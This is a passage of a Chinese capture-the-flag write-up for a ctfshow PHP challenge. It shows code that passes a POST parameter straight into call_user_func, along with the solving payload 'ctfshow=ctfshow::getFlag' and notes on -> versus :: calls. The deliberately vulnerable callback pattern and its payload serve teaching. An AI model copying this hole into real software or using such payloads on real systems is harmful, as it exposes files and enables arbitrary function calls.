<span class="token keyword">class</span> <span class="token class-name-definition class-name">ctfshow</span>
<span class="token punctuation">&#123;</span>
    <span class="token keyword">function</span> <span class="token function-definition function">__wakeup</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">&#123;</span>
        <span class="token keyword">die</span><span class="token punctuation">(</span><span class="token string double-quoted-string">"private class"</span><span class="token punctuation">)</span><span class="token punctuation">;</span>
    <span class="token punctuation">&#125;</span><span class="token keyword">static</span> <span class="token keyword">function</span> <span class="token function-definition function">getFlag</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">&#123;</span>
        <span class="token keyword">echo</span> <span class="token function">file_get_contents</span><span class="token punctuation">(</span><span class="token string double-quoted-string">"flag.php"</span><span class="token punctuation">)</span><span class="token punctuation">;</span>
    <span class="token punctuation">&#125;</span>
<span class="token punctuation">&#125;</span><span class="token function">call_user_func</span><span class="token punctuation">(</span><span class="token variable">$_POST</span><span class="token punctuation">[</span><span class="token string single-quoted-string">'ctfshow'</span><span class="token punctuation">]</span><span class="token punctuation">)</span><span class="token punctuation">;</span></span><span aria-hidden="true" class="line-numbers-rows"><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span></span></code></pre>

<blockquote>
<p>考察调用类中的函数</p>
<p><a target="_blank" rel="noopener" href="https://www.php.net/manual/zh/function.call-user-func.php">call_user_func()</a>–第一个参数 <code>callback</code> 是被调用的回调函数，其余参数是回调函数的参数。</p>
</blockquote>
<pre class="line-numbers language-php" data-language="php"><code class="language-php">ctfshow<span class="token operator">=</span><span class="token class-name static-context">ctfshow</span><span class="token operator">::</span><span class="token constant">getFlag</span>
<span class="token comment">#php中 ->与:: 调用类中的成员的区别，->用于动态语境处理某个类的某个实例，::可以调用一个静态的、不依赖于其他初始化的类方法。</span><span aria-hidden="true" class="line-numbers-rows"><span></span><span></span></span></code></pre>


                
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